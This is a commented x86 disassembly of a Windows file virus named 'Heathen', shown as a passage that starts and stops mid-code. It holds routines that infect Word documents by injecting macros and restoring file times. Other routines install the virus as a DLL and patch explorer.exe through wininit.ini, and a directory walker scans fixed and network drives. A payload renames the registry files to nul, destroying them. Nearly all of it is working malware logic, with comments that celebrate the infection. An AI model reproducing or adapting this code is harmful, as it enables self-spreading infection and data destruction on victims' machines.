add eax, ebx
mov [ebp+xTable], eax
test [ebp+Buffer+0Bh], 2 ; fWhichTblStm bit
; 0 = use 0Table for read
; 1 = use 1Table for read
jnz short use1Table
dec edx ; "0Table"
use1Table:
mov ecx, [ebp+xTable]
mov [ecx], dx
mov eax, dword ptr [ebp+Buffer+15Ah] ; fcCmds = offset in xTable stream of macros
mov [ebp+MacrosOffset], eax
mov edx, dword ptr [ebp+Buffer+15Eh] ; lcbCmds = size of macros
mov [ebp+MacrosSize], edx
mov ecx, [ebp+IStream1]
push ecx
mov eax, [ecx]
call [eax+IStream_Interface.Release] ; close stream
cmp [ebp+MacrosSize], 200h ; greater than 200h?
jg error4
lea edx, [ebp+IStream1] ; open another stream (previous one was closed)
push edx ; &IStream1
push 0 ; zero (reserved)
push 10h ; STGM_SHARE_EXCLUSIVE
push 0 ; zero (reserved)
push [ebp+xTable] ; name of stream: "0Table" or "1Table"
mov ecx, [ebp+IStorage1]
push ecx
mov eax, [ecx]
call [eax+IStorage_Interface.OpenStream] ; open Table stream
mov eax, [ebp+MacrosOffset]
cdq
mov dword ptr [ebp+StreamSeek], eax
mov dword ptr [ebp+StreamSeek+4], edx
push 0 ; NULL (dont return new position)
push 0 ; STREAM_SEEK_SET
push dword ptr [ebp+StreamSeek+4] ; offset in Table stream
push dword ptr [ebp+StreamSeek]
mov eax, [ebp+IStream1]
push eax
mov edx, [eax]
call [edx+IStream_Interface.Seek] ; Seek in table stream
push 0 ; NULL = dont return actual number of bytes read
lea ecx, [ebp+Buffer]
push [ebp+MacrosSize] ; number of bytes to read
push ecx ; buffer
mov eax, [ebp+IStream1]
push eax
mov edx, [eax]
call [edx+IStream_Interface.Read] ; read macros from Table stream
mov ecx, [ebp+IStream1]
push ecx
mov eax, [ecx]
call [eax+IStream_Interface.Release] ; close Table stream
lea edx, [ebp+IStream1] ; lets use same variable for another stream :-)
push edx ; &IStream1
push 0 ; zero (reserved)
push 0 ; zero (reserved)
push 1011h ; STGM_CREATE + STGM_SHARE_EXCLUSIVE + STGM_WRITE
push edi ; name of stream to create: "WordDocument"
mov ecx, [ebp+IStorage2]
push ecx ; &IStorage2 (heathen.vdo)
mov eax, [ecx]
call [eax+IStorage_Interface.CreateStream] ; create stream
mov edi, eax
test edi, edi
jnz error4 ; error
push 0 ; NULL = dont return actual number of bytes written
lea edx, [ebp+Buffer]
push [ebp+MacrosSize] ; number of bytes to write
push edx
mov ecx, [ebp+IStream1]
push ecx
mov eax, [ecx]
call [eax+IStream_Interface.Write] ; IStream:Write
mov edx, [ebp+IStream1]
push edx
mov ecx, [edx]
call [ecx+IStream_Interface.Release] ; close stream
mov eax, offset aMacros ; name of element to move
add eax, ebx
push 1 ; STGMOVE_COPY (dont move, only copy)
push eax
push [ebp+IStorage2] ; destination storage object (heathen.vdo)
push eax
mov edx, [ebp+IStorage1] ; source IStorage Interface (htmp.doc)
push edx
mov ecx, [edx]
call [ecx+IStorage_Interface.MoveElementTo] ; move macros
mov edi, eax
test edi, edi
jnz short error4
push 0 ; NULL
push 20h ; FILE_ATTRIBUTE_ARCHIVE
push 2 ; CREATE_ALWAYS
push 0 ; NULL = handle cannot be inherited
push 0 ; 0 = prevent file from being shared
lea eax, [ebp+WINDOWS_HeatheVDL] ; "c:windowsheathen.vdl"
push 40000000h ; GENERIC_WRITE
push eax
call [ebp+APIs.CreateFileA] ; create DLL file (that will be called from Explorer patch code)
mov [ebp+FileHandle], eax
cmp [ebp+FileHandle], 0FFFFFFFFh
jz short error4 ; file creation error
push 0 ; NULL
lea edx, [ebp+writtenbytes]
push edx
push 3000h ; number of bytes to write
push [ebp+HEATHEN_BASE] ; buffer for write
push [ebp+FileHandle] ; file handle
call [ebp+APIs.WriteFile] ; write virus as a DLL file :-D
mov edi, eax
push [ebp+FileHandle]
call [ebp+APIs.CloseHandle] ; close file
test edi, edi
jz short error4 ; error
push 0 ; overwrite Heathen.vex if already present
lea eax, [ebp+WINDOWS_HeathenVEX]
push eax
lea edx, [ebp+WINDOWS_ExplorerEXE]
push edx
call [ebp+APIs.CopyFileA] ; copy file: c:windowsexplorer.exe --> c:windowsheathen.vex
mov esi, eax ; ESI = 0 means errors
error4:
mov eax, [ebp+IStorage2]
push eax
mov edx, [eax]
call [edx+IStorage_Interface.Release] ; close IStorage2 (heathen.vdo)
error3:
mov ecx, [ebp+IStorage1]
push ecx
mov eax, [ecx]
call [eax+IStorage_Interface.Release] ; close IStorage1 (htmp.doc)
error2:
lea edx, [ebp+WINDOWS_HtmpDOC]
push edx
call [ebp+APIs.DeleteFileA] ; delete temporary file c:windowsHtmp.doc
error1:
test esi, esi ; errors?
jz short error0 ; yes :-(
push [ebp+Patch_code] ; Offset of code to be inserted in Explorer.exe
mov ecx, offset aKernel32_dll
mov eax, offset aLoadLibraryA
add ecx, ebx
add eax, ebx
push ecx ; "KERNEL32.DLL"
push eax ; "LoadLibraryA"
lea edx, [ebp+WINDOWS_HeathenVEX]
lea ecx, [ebp+APIs] ; API addresses
push edx
push ecx
call PatchEXPLORER ; patch c:windowsHeathen.vex
add esp, 14h
test eax, eax
jz short error0 ; error patching file
push ebx ; EBX = delta
lea eax, [ebp+WINDOWS_HeathenVEX]
push eax
lea edx, [ebp+WINDOWS_ExplorerEXE]
push edx
lea ecx, [ebp+WINDOWS_WininitINI]
push ecx
lea eax, [ebp+APIs] ; API addresses
push eax
call CreateWININIT ; create c:windowswininit.ini file to replace explorer.exe
add esp, 14h
error0:
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 1Ch
InstallVIRUS endp
; --------------- S U B R O U T I N E ---------------------------------------
; Attributes: bp-based frame
alloc_memory proc near
Size= dword ptr 8
push ebp
mov ebp, esp
mov eax, ds:MemoryAllocator
push [ebp+Size] ; size of memory to allocate
push eax
mov edx, [eax]
call [edx+IMalloc_Interface.PreAlloc] ; allocate memory
pop ebp
retn
alloc_memory endp
; --------------- S U B R O U T I N E ---------------------------------------
; Attributes: bp-based frame
free_memory proc near
Buffer= dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+Buffer]
test eax, eax
jz short free_memory0
push eax
mov eax, ds:MemoryAllocator
push eax
mov edx, [eax]
call [edx+IMalloc_Interface.PreFree] ; free memory
free_memory0:
pop ebp
retn
free_memory endp
; --------------- S U B R O U T I N E ---------------------------------------
; Attributes: bp-based frame
AddDirectorytoList proc near
laststruct= dword ptr -4
DirectoryList= dword ptr 8
NewDirectory= dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+NewDirectory] ; name of new Directory to insert on list
mov ebx, [ebp+DirectoryList] ; EBX = pointer to structure corresponding to last directory in list
mov eax, [ebx] ; get next directory structure
mov [ebp+laststruct], eax ; next Directory structure
push 8
call alloc_memory ; get memory for new Directory structure
pop ecx
mov esi, eax
mov [ebx], esi ; save it, so this new structure will be first in chain
test esi, esi
jnz short AddDirectory
xor eax, eax
jmp short error50 ; error allocating memory
; ---------------------------------------------------------------------------
AddDirectory:
push edi
call API_lstrlenA ; get size of directory name
inc eax
push eax
call alloc_memory ; reserve memory for that Directory name
mov esi, eax
mov eax, [ebx]
pop ecx
test esi, esi
mov [eax+DirectorySTRUC.DirectoryName], esi ; save in first field of structure the name of the directory
jnz short AddDirectory2
xor eax, eax
jmp short error50 ; error allocating memory
; ---------------------------------------------------------------------------
AddDirectory2:
push edi
push esi
call API_lstrcpyA ; copy directory name to reserved memory
mov edx, [ebx]
mov ecx, [ebp+laststruct]
mov [edx+DirectorySTRUC.NextDirectorySTRUC], ecx ; save next directory structure in second field of actual structure
mov eax, 1
error50:
pop edi
pop esi
pop ebx
pop ecx
pop ebp
retn
AddDirectorytoList endp
; --------------- S U B R O U T I N E ---------------------------------------
; Attributes: bp-based frame
DeleteDirectoryfromList proc near
NextDirectorySTRUC= dword ptr 8
DirectoryName= dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
mov ebx, [ebp+NextDirectorySTRUC] ; EBX = pointer to Directory structure
mov eax, [ebx] ; EAX = Directory structure
mov esi, [eax+DirectorySTRUC.NextDirectorySTRUC] ; ESI = next directory structure
push [eax+DirectorySTRUC.DirectoryName] ; name of the directory (in this directory structure)
push [ebp+DirectoryName] ; pointer to argument DirectoryName (to return name of directory)
call API_lstrcpyA ; copy directory name to argument DirectoryName
mov eax, [ebx]
push [eax+DirectorySTRUC.DirectoryName]
call free_memory ; free memory that contains the name of the directory
pop ecx
push dword ptr [ebx]
call free_memory ; free memory of this directory structure
pop ecx
mov [ebx], esi ; update DirectoryList
pop esi
pop ebx
pop ebp
retn
DeleteDirectoryfromList endp
; --------------- S U B R O U T I N E ---------------------------------------
; called from WndProc
PAYLOAD proc near
BytesWritten= byte ptr -518h
WINDOWS_WININIT= byte ptr -514h
STRING_TEXT= byte ptr -3E8h
push ebx
add esp, 0FFFFFAE8h
push offset WindowsDirectory
lea eax, [esp+51Ch+WINDOWS_WININIT]
push eax
call API_lstrcpyA
push offset aWininit_ini
lea edx, [esp+51Ch+WINDOWS_WININIT]
push edx
call API_lstrcatA ; "c:windowswininit.ini"
push 0 ; NULL
push 20h ; FILE_ATTRIBUTE_ARCHIVE
push 2 ; CREATE_ALWAYS
push 0 ; NULL = file handle cannot be inherited
push 0 ; 0 = prevent file from being shared
push 40000000h ; GENERIC_WRITE
lea ecx, [esp+530h+WINDOWS_WININIT]
push ecx
call API_CreateFileA ; create file
mov ebx, eax
push offset WindowsDirectory
push offset WindowsDirectory
push offset WindowsDirectory
push offset WindowsDirectory
push offset aRename
push offset aRename2
lea eax, [esp+530h+STRING_TEXT]
push eax
call API_wsprintfA ; generate following text...
; [rename]
; nul=c:windowssystem.dat
; nul=c:windowsuser.dat
; nul=c:windowssystem.da0
; nul=c:windowsuser.da0
;
add esp, 1Ch
push 0 ; NULL
lea edx, [esp+51Ch+BytesWritten]
push edx ; pointer to store number of bytes actually written to file
lea ecx, [esp+520h+STRING_TEXT]
push ecx
call API_lstrlenA ; get size of the string
push eax ; number of bytes to write
lea eax, [esp+524h+STRING_TEXT]
push eax ; text
push ebx ; file handle
call API_WriteFile ; write to wininit.ini
push ebx
call API_CloseHandle ; close file handle
add esp, 518h
pop ebx
retn
PAYLOAD endp
; --------------- S U B R O U T I N E ---------------------------------------
InitVariables proc near
IStorage1= byte ptr -1A4h
FilePointer= qword ptr -1A0h
WINDOWS_HeathenVDO= byte ptr -198h
StatSTG= dword ptr -6Ch
IStorageTime= word ptr -24h
SystemTime= word ptr -14h
push ebx
add esp, 0FFFFFE60h
xor ebx, ebx
push 12Ch
push offset WindowsDirectory
call API_GetWindowsDirectoryA ; get windows directory
push offset WindowsDirectory
lea eax, [esp+1A8h+WINDOWS_HeathenVDO]
push eax
call API_lstrcpyA
push offset aHeathen_vdo
lea edx, [esp+1A8h+WINDOWS_HeathenVDO]
push edx
call API_lstrcatA ; "c:windowsHeathen.vdo"
push offset UNICODE_HeathenVDO
lea ecx, [esp+1A8h+WINDOWS_HeathenVDO]
push ecx
call asciiz_to_unicode ; convert it to unicode (for use by OLE functions)
add esp, 8
push esp ; &IStorage1
push 0 ; zero (reserved)
push 0 ; NULL
push 10h ; STGM_READ + STGM_SHARE_EXCLUSIVE
push 0 ; NULL
push offset UNICODE_HeathenVDO
call API_StgOpenStorage ; open Storage heathen.vdo
test eax, eax
jnz error20
push offset ILockBytes ; where ILockBytes interface is returned
push 1 ; TRUE = free handle when object is released
push 0 ; NULL = allocate a new shared memory block of size zero
call API_CreateILockBytesOnHGlobal ; create a byte array object that allows to use global memory as the physical device (instead of disk file)
test eax, eax
jnz error21
push offset IStorage ; &IStorage
push 0 ; NULL
push 1012h ; STGM_CREATE + STGM_SHARE_EXCLUSIVE + STGM_READWRITE
push ds:ILockBytes ; ILockBytes interface on the byte array object
call API_StgCreateDocfileOnILockBytes ; creates a new COM file storage object on top of the byte array object
test eax, eax
jnz error21
push ds:IStorage ; destination IStorage (on memory)
push 0 ; NULL
push 0 ; NULL=all objects to be copied
push 0 ; NULL
mov eax, dword ptr [esp+1B4h+IStorage1]
push eax ; source IStorage (heathen.vdo)
mov edx, [eax]
call [edx+IStorage_Interface.CopyTo] ; copy all its contents
test eax, eax
jnz short error21
push offset IStream ; &IStream
push 0 ; zero (reserved)
push 10h ; STGM_SHARE_EXCLUSIVE
push 0 ; zero (reserved)
push offset aWorddocument ; WordDocument stream (where virus macros were stored)
mov ecx, ds:IStorage
push ecx
mov eax, [ecx]
call [eax+IStorage_Interface.OpenStream] ; open that stream
test eax, eax
jnz short error21
mov dword ptr [esp+1A4h+FilePointer], 0
mov dword ptr [esp+1A4h+FilePointer+4], 0
push offset HeathenMacrosSize ; here will be stored size of WordDocument stream, that contains virus macros!!!
push 2 ; STREAM_SEEK_END
push dword ptr [esp+1ACh+FilePointer+4]
push dword ptr [esp+1B0h+FilePointer]
mov ecx, ds:IStream
push ecx
mov eax, [ecx]
call [eax+IStream_Interface.Seek] ; seek at end of stream = size of stream
push 0 ; NULL (dont return new position)
push 0 ; STREAM_SEEK_SET
push dword ptr [esp+1ACh+FilePointer+4]
push dword ptr [esp+1B0h+FilePointer]
mov ecx, ds:IStream
push ecx
mov eax, [ecx]
call [eax+IStream_Interface.Seek] ; seek at start of stream
mov ebx, 1 ; ok, no errors :)
error21:
push 1 ; STATFLAG_NONAME
lea eax, [esp+1A8h+StatSTG]
push eax ; &StatSTG
mov edx, dword ptr [esp+1ACh+IStorage1] ; heathen.vdo storage
push edx
mov ecx, [edx]
call [ecx+IStorage_Interface.Stat] ; get stat structure of the IStorage
lea eax, [esp+1A4h+IStorageTime] ; variable to store IStorage modification time (converted to SystemTime)
push eax
lea edx, [esp+1A8h+StatSTG+10h] ; mtime = modification time
push edx
call API_FileTimeToSystemTime ; converts a 64-bit file time to system time format
lea ecx, [esp+1A4h+SystemTime] ; &SystemTime
push ecx
call API_GetSystemTime ; get system time
movzx eax, [esp+1A4h+SystemTime+6] ; System day
movzx edx, [esp+1A4h+IStorageTime+6] ; IStorage day
sub eax, edx ; day difference
movzx edx, [esp+1A4h+IStorageTime+2] ; IStorage month
movzx ecx, [esp+1A4h+SystemTime+2] ; System month
sub ecx, edx ; month difference
imul ecx, 1Eh ; * 30 days/month
add eax, ecx ; add days
movzx ecx, [esp+1A4h+IStorageTime] ; IStorage year
movzx edx, [esp+1A4h+SystemTime] ; System year
sub edx, ecx ; year difference
imul edx, 16Dh ; * 365 days/year
add eax, edx ; add days
cmp eax, 183 ; 183 days (or more) since installation? (half a year)
setnl al
and eax, 1 ; EAX=1--> yes! :-D
cmp [esp+1A4h+SystemTime+6], 0Eh ; day 14?
mov ds:MoreThanHalfYear, eax
jnz short not_may14th ; no
cmp [esp+1A4h+SystemTime+2], 5 ; month = May?
jz short month14th ; yes
not_may14th:
xor ecx, ecx
jmp short is_may14th
; ---------------------------------------------------------------------------
month14th:
mov ecx, 1
is_may14th:
mov ds:may14h, ecx ; indicate if we are on may 14th
mov eax, dword ptr [esp+1A4h+IStorage1]
push eax
mov edx, [eax]
call [edx+IStorage_Interface.Release] ; close IStorage
error20:
mov eax, ebx
add esp, 1A0h
pop ebx
retn
InitVariables endp
; --------------- S U B R O U T I N E ---------------------------------------
InitDirectoryList proc near
IStream1= dword ptr -1Ch
Zero_Offset= qword ptr -18h
ScanDataSize= byte ptr -10h
push ebx
push esi
add esp, 0FFFFFFECh
xor eax, eax
mov ds:Drive, eax ; empty DirectoryList
xor edx, edx
mov ds:DirectoryList.NextDirectorySTRUC, edx
mov ds:DirectoryList.DirectoryName, edx
push esp ; &IStream1
push 0 ; zero (reserved)
push 10h ; STGM_SHARE_EXCLUSIVE
push 0 ; zero (reserved)
push offset aScandata ; name of stream "ScanData"
mov eax, ds:IStorage ; (IStorage based on ILockBytes interface)
push eax
mov ecx, [eax]
call [ecx+IStorage_Interface.OpenStream] ; open stream ScanData
test eax, eax
jnz error40 ; error
mov dword ptr [esp+1Ch+Zero_Offset], 0 ; offset from end of stream = 0
mov dword ptr [esp+1Ch+Zero_Offset+4], 0
lea eax, [esp+1Ch+ScanDataSize]
push eax
push 2 ; STREAM_SEEK_END
push dword ptr [esp+24h+Zero_Offset+4]
push dword ptr [esp+28h+Zero_Offset]
mov ecx, [esp+2Ch+IStream1]
push ecx
mov eax, [ecx]
call [eax+IStream_Interface.Seek] ; seek to end of stream to calculate its size
push 0 ; NULL (dont return new position)
push 0 ; STREAM_SEEK_SET
push dword ptr [esp+24h+Zero_Offset+4]
push dword ptr [esp+28h+Zero_Offset]
mov ecx, [esp+2Ch+IStream1]
push ecx
mov eax, [ecx]
call [eax+IStream_Interface.Seek] ; go to start of stream
push dword ptr [esp+1Ch+ScanDataSize] ; size of actual ScanData
call alloc_memory ; reserve memory for those structures
pop ecx
mov esi, eax
test esi, esi
jz short error41 ; error allocating memory
push 0
push dword ptr [esp+20h+ScanDataSize] ; size of ScanData
push esi ; buffer
mov eax, [esp+28h+IStream1]
push eax
mov edx, [eax]
call [edx+IStream_Interface.Read] ; read SCanData
mov ecx, [esi] ; get disk drive od Directory where it was stopped
mov ds:Drive, ecx ; save it to continue in that Directory
lea ebx, [esi+4]
jmp short CreateList
; ---------------------------------------------------------------------------
CreateList2:
push ebx ; offset of directory name
push offset DirectoryList ; directory list
call AddDirectorytoList ; add this directory to DirectoryList
add esp, 8
test eax, eax
jz short error42 ; exit on error
push ebx
call API_lstrlenA ; get size of directory name
inc eax
add ebx, eax ; point to next directory
CreateList:
cmp dword ptr [ebx], 0FFFFFFFFh ; end of Directories?
jnz short CreateList2 ; not yet
error42:
push esi
call free_memory ; free memory of ScanData, although DirectoryList structures remain in memory to work with them
pop ecx
error41:
mov eax, [esp+1Ch+IStream1]
push eax
mov edx, [eax]
call [edx+IStream_Interface.Release] ; close stream
error40:
add esp, 14h
pop esi
pop ebx
retn
InitDirectoryList endp
; --------------- S U B R O U T I N E ---------------------------------------
UpdateScanData proc near
IStorage= dword ptr -13Ch
IStream_ScanData= dword ptr -138h
EndMark= byte ptr -134h
DirectoryName= byte ptr -130h
push ebx
add esp, 0FFFFFEC8h
push esp ; &IStorage (esp+13Ch+IStorage)
push 0 ; zero (reserved)
push 0 ; NULL
push 11h ; STGM_WRITE + STGM_SHARE_EXCLUSIVE
push 0 ; NULL
push offset UNICODE_HeathenVDO
call API_StgOpenStorage ; open Storage heathen.vdo
mov ebx, eax ; EBX = 0 if no errors
test ebx, ebx
jnz error60
lea eax, [esp+13Ch+IStream_ScanData] ; &Istream_ScanData
push eax
push 0 ; zero (reserved)
push 0 ; zero (reserved)
push 1011h ; STGM_CREATE + STGM_SHARE_EXCLUSIVE + STGM_WRITE
push offset aScandata ; name of stream
mov edx, [esp+150h+IStorage]
push edx
mov ecx, [edx]
call [ecx+IStorage_Interface.CreateStream] ; open SCanData stream
mov ebx, eax
test ebx, ebx
jnz short error62
mov dword ptr [esp+13Ch+EndMark], 0FFFFFFFFh ; indicate "end of directories"
push 0 ; NULL = not interested in number of bytes actually written to stream
push 4 ; number of bytes to write to stream
push offset Drive ; drive unit that we are currently scanning
mov eax, [esp+148h+IStream_ScanData]
push eax
mov edx, [eax]
call [edx+IStream_Interface.Write] ; IStream:Write
or ebx, eax ; if errors, EBX will be different of zero
jmp short check_more_directories
; ---------------------------------------------------------------------------
get_more_directories:
lea ecx, [esp+13Ch+DirectoryName]
push ecx
push offset DirectoryList
call DeleteDirectoryfromList ; get next directory from list (and free it from list)
add esp, 8
push 0 ; NULL = not interested in number of bytes actually written to stream
lea eax, [esp+140h+DirectoryName]
push eax
call API_lstrlenA
inc eax ; one byte more, to include be an ASCIIZ string
push eax ; number of bytes to write to stream
lea edx, [esp+144h+DirectoryName] ; name of directory
push edx
mov ecx, [esp+148h+IStream_ScanData]
push ecx
mov eax, [ecx]
call [eax+IStream_Interface.Write] ; write directory name to stream
or ebx, eax
check_more_directories:
cmp ds:DirectoryList.DirectoryName, 0 ; more directories in List?
jnz short get_more_directories ; yeah! go for them!
push 0 ; NULL = not interested in number of bytes actually written to stream
push 4 ; number of bytes to write to stream
lea edx, [esp+144h+EndMark] ; offset of 0xFFFFFFFF to be written at end of directories
push edx
mov ecx, [esp+148h+IStream_ScanData]
push ecx
mov eax, [ecx]
call [eax+IStream_Interface.Write] ; write mark
or ebx, eax
mov edx, [esp+13Ch+IStream_ScanData] ; IStream
push edx
mov ecx, [edx]
call [ecx+IStream_Interface.Release] ; close stream
error62:
test ebx, ebx
jz short error61 ; jump if no errors!
mov eax, [esp+13Ch+IStorage]
push eax
mov edx, [eax]
call [edx+IStorage_Interface.Revert] ; discard all changes!!!
error61:
mov ecx, [esp+13Ch+IStorage]
push ecx
mov eax, [ecx]
call [eax+IStorage_Interface.Release] ; close IStorage
error60:
add esp, 138h
pop ebx
retn
UpdateScanData endp
; --------------- S U B R O U T I N E ---------------------------------------
; Attributes: bp-based frame
InfectDocument proc near
Buffer= byte ptr -4BCh
STATG= STATG_STRUC ptr -2BCh
UNICODE_FILENAME= byte ptr -274h
MacrosOffset= dword ptr -1Ch
SeekOffset= qword ptr -14h
IStream2= dword ptr -0Ch
IStream1= dword ptr -8
IStorage1= dword ptr -4
ASCIIZ_FILENAME= dword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFB44h
cmp ds:may14h, 0 ; may 14th?
push ebx
push esi
mov ebx, [ebp+ASCIIZ_FILENAME]
jz short Infect_This_File ; jump if not may 14th
xor ecx, ecx
xor eax, eax
jmp short check_directory_name
; ---------------------------------------------------------------------------
next_character:
movsx edx, dl
cmp edx, ''
jnz short next_character2
lea ecx, [eax+1] ; ECX = offset after "" (offset of name of subdirectory or file)
next_character2:
inc eax ; next byte
check_directory_name:
mov dl, [ebx+eax]
test dl, dl
jnz short next_character ; search to end of directory name
movsx eax, byte ptr [ebx+ecx] ; get first character of subdirectory name
cmp eax, '_'
jz short Infect_This_File ; on mat 14th... only infects files starting with "_" !!!
xor eax, eax
jmp error70
; ---------------------------------------------------------------------------
Infect_This_File:
xor esi, esi ; ESI = 0 means infection not successful
lea eax, [ebp+UNICODE_FILENAME]
push eax
push ebx
call asciiz_to_unicode ; convert it to unicode string
add esp, 8
lea edx, [ebp+IStorage1] ; &IStorage
push edx
push 0 ; zero (reserved)
push 0 ; NULL
push 12h ; STGM_READWRITE + STGM_SHARE_EXCLUSIVE
push 0 ; NULL
lea ecx, [ebp+UNICODE_FILENAME]
push ecx
call API_StgOpenStorage ; open document
test eax, eax
jnz error71 ; exit on error
push 1
lea eax, [ebp+STATG] ; where STATG structured will be returned
push eax
mov edx, [ebp+IStorage1] ; IStorage of the document
push edx
mov ecx, [edx]
call [ecx+IStorage_Interface.Stat] ; get STATG structure for this storage object
lea eax, [ebp+IStream1] ; &IStream1
push eax
push 0 ; zero (reserved)
push 12h ; STGM_READWRITE + STGM_SHARE_EXCLUSIVE
push 0 ; zero (reserved)
push offset aWorddocument ; name of stream "WordDocument"
mov edx, [ebp+IStorage1]
push edx
mov ecx, [edx]
call [ecx+IStorage_Interface.OpenStream] ; open stream
test eax, eax
jnz error72
push 0 ; NULL = not interested in number of bytes actually read from stream
lea eax, [ebp+Buffer]
push 200h ; number of bytes to read
push eax ; buffer
mov edx, [ebp+IStream1] ; IStream
push edx
mov ecx, [edx]
call [ecx+IStream_Interface.Read] ; read WordDocument header
cmp dword ptr [ebp+Buffer+15Eh], 3
jge error73 ; exit if it already has macros
mov ax, 31h ; select 1Table
test [ebp+Buffer+0Bh], 2 ; 0Table or 1Table?
jnz short select_1Table
dec eax ; select 0Table
select_1Table:
mov word ptr ds:xTable, ax
lea edx, [ebp+IStream2] ; &IStream2
push edx
push 0 ; zero (reserved)
push 11h ; STGM_WRITE + STGM_SHARE_EXCLUSIVE
push 0 ; zero (reserved)
push offset xTable ; name of stream: "0Table" or "1Table"
mov ecx, [ebp+IStorage1]
push ecx
mov eax, [ecx]
call [eax+IStorage_Interface.OpenStream] ; open stream
test eax, eax
jnz error73
push 1 ; STGMOVE_COPY (we want a copy!)
push offset aMacros ; name of element in destination
push [ebp+IStorage1] ; destination IStorage object (the document to be infected!)
push offset aMacros ; name of element to be moved
mov edx, ds:IStorage ; source IStorage (Heathen.vdo)
push edx
mov ecx, [edx]
call [ecx+IStorage_Interface.MoveElementTo] ; copy macros!
test eax, eax
jnz error74 ; exit on error
mov dword ptr [ebp+SeekOffset], 0
mov dword ptr [ebp+SeekOffset+4], 0
lea eax, [ebp+MacrosOffset] ; here will be returned end of xTable, where virus will copy its macros
push eax
push 2 ; STREAM_SEEK_END
push dword ptr [ebp+SeekOffset+4]
push dword ptr [ebp+SeekOffset]
mov ecx, [ebp+IStream2]
push ecx
mov eax, [ecx]
call [eax+IStream_Interface.Seek] ; seek to end of stream xTable
push 0
push 0
push dword ptr ds:HeathenMacrosSize+4
push dword ptr ds:HeathenMacrosSize ; size of virus macros (that were stored in WordDocument stream of Heathen.vdo)
push [ebp+IStream2] ; destination Stream (xTable stream of document to be infected!)
mov ecx, ds:IStream ; source stream (WordDocument of Heathen.vdo, where virus macros are stored!!!))
push ecx
mov eax, [ecx]
call [eax+IStream_Interface.CopyTo] ; copy virus macros at end of xTable
test eax, eax
jnz short error75
mov edx, [ebp+MacrosOffset] ; EDX = offset of macros in xTable
mov ecx, dword ptr ds:HeathenMacrosSize ; ECX = size of macros
mov dword ptr [ebp+Buffer+15Ah], edx ; fcCmds = offset in xTable stream of macros
mov dword ptr [ebp+Buffer+15Eh], ecx ; lcbCmds = size of macros
push 0 ; NULL (dont return new position)
push 0 ; STREAM_SEEK_SET
push dword ptr [ebp+SeekOffset+4] ; NULL
push dword ptr [ebp+SeekOffset] ; NULL
mov edx, [ebp+IStream1]
push edx
mov ecx, [edx]
call [ecx+IStream_Interface.Seek] ; set stream pointer to beginning of WordDocument
push 0
lea eax, [ebp+Buffer]
push 200h ; size of Header
push eax
mov edx, [ebp+IStream1]
push edx
mov ecx, [edx]
call [ecx+IStream_Interface.Write] ; write WordDocument Header
mov esi, 1
error75:
push 0 ; NULL (dont return new position)
push 0 ; STREAM_SEEK_SET
push dword ptr [ebp+SeekOffset+4]
push dword ptr [ebp+SeekOffset]
mov edx, ds:IStream
push edx
mov ecx, [edx]
call [ecx+IStream_Interface.Seek] ; set stream pointer to beggining of WordDocument stream in Heathen.vdo
error74:
mov eax, [ebp+IStream2]
push eax
mov edx, [eax]
call [edx+IStream_Interface.Release] ; close stream xTable
error73:
mov ecx, [ebp+IStream1]
push ecx
mov eax, [ecx]
call [eax+IStream_Interface.Release] ; close stream WordDocument (of infected document)
error72:
mov edx, [ebp+IStorage1]
push edx
mov ecx, [edx]
call [ecx+IStorage_Interface.Release] ; close IStorage object (infected document)
test esi, esi
jz short error71 ; exit if infection was not successful
push 0 ; NULL
push 0 ; NULL
push 3 ; CREATE_ALWAYS
push 0 ; NULL = file cannot be inherited
push 0 ; 0 = prevent file from being shared
push 40000000h ; GENERIC_WRITE
push ebx
call API_CreateFileA ; open document file
mov ebx, eax
lea eax, [ebp+STATG.mtime]
push eax
lea edx, [ebp+STATG.atime]
push edx
lea ecx, [ebp+STATG.ctime]
push ecx
push ebx
call API_SetFileTime ; restore filetime
push ebx
call API_CloseHandle ; close file handle
error71:
mov eax, esi
error70:
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
InfectDocument endp
; --------------- S U B R O U T I N E ---------------------------------------
SearchDirectories proc near
RootPathName= byte ptr -724h
DocumentName= byte ptr -71Ch
DirectoryName= byte ptr -5F0h
File_Search_Pattern= byte ptr -4C4h
WIN32_FIND_DATA= WIN32_FIND_DATA_STRUC ptr -398h
SubdirectoryName= byte ptr -258h
FileName= byte ptr -12Ch
push ebx
push esi
add esp, 0FFFFF8DCh
cmp ds:DirectoryList.NextDirectorySTRUC, 0 ; end of directories?
lea esi, [esp+724h+WIN32_FIND_DATA] ; ESI = WIN32_FIND_DATA
jz short directories_end ; yes, no more directories
lea eax, [esp+724h+DocumentName]
push eax
push offset DirectoryList.NextDirectorySTRUC ; next directory
call DeleteDirectoryfromList ; get next document to infect and free it from List
add esp, 8
lea edx, [esp+724h+DocumentName]
push edx
call InfectDocument ; infect document (unless its a directory name)
pop ecx
mov eax, 1
jmp error80
; ---------------------------------------------------------------------------
directories_end:
cmp ds:DirectoryList.DirectoryName, 0 ; finished all directories of current drive in ScanData list?
jnz short Search_Documents ; not yet
call API_GetLogicalDrives ; get info on logical drives (bits in EAX set to one)
invalid_drive:
inc ds:Drive ; next drive
cmp ds:Drive, 1Ah ; 'Z'?
jle short CheckDrive
xor edx, edx
mov ds:Drive, edx ; scan again all drives!
CheckDrive:
cmp ds:Drive, 2 ; (2 = C:)
jl short invalid_drive ; drives A: and B: will not be infected!
mov ecx, ds:Drive
mov edx, 1
shl edx, cl
test edx, eax
jz short invalid_drive ; drive not present!
push offset aRoot
lea eax, [esp+728h+RootPathName]
push eax
call API_lstrcpyA ; "A:"
mov cl, byte ptr ds:Drive
add [esp+724h+RootPathName], cl ; set drive letter
push esp ; &RootPathName
call API_GetDriveTypeA ; get info on logical drive
test eax, eax ; DRIVE_UNKNOWN
jz short Add_Drive_Path
cmp eax, 3 ; DRIVE_FIXED
jz short Add_Drive_Path
cmp eax, 4 ; DRIVE_REMOTE
jnz short Continue_Later ; exit with error free (will continue later!)
Add_Drive_Path:
push esp ; &RootPathName
push offset DirectoryList
call AddDirectorytoList ; add root directory to List
add esp, 8
jmp error80
; ---------------------------------------------------------------------------
Continue_Later:
mov eax, 1 ; EAX != 0 --> no errors
jmp error80
; ---------------------------------------------------------------------------
Search_Documents:
lea edx, [esp+724h+DirectoryName]
push edx
push offset DirectoryList
